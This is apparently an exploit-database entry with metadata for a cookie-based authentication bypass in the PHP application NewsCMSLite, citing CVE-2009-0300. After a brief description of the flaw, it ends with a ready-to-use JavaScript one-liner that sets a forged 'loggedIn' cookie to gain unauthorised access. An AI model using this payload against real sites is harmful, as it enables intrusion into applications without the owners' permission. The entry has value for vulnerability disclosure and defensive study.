NewsCMSLite - Insecure Cookie Authentication Bypass

Author: FarhadKey
type: webapps
platform: php
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date_added: 2009-01-24 
date_updated: 2014-04-09 
verified: 1 
codes: CVE-2009-0300;CVE-2006-2636;OSVDB-25824 
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source: https://www.securityfocus.com/bid/33467/info

NewsCMSLite is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks.

javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/"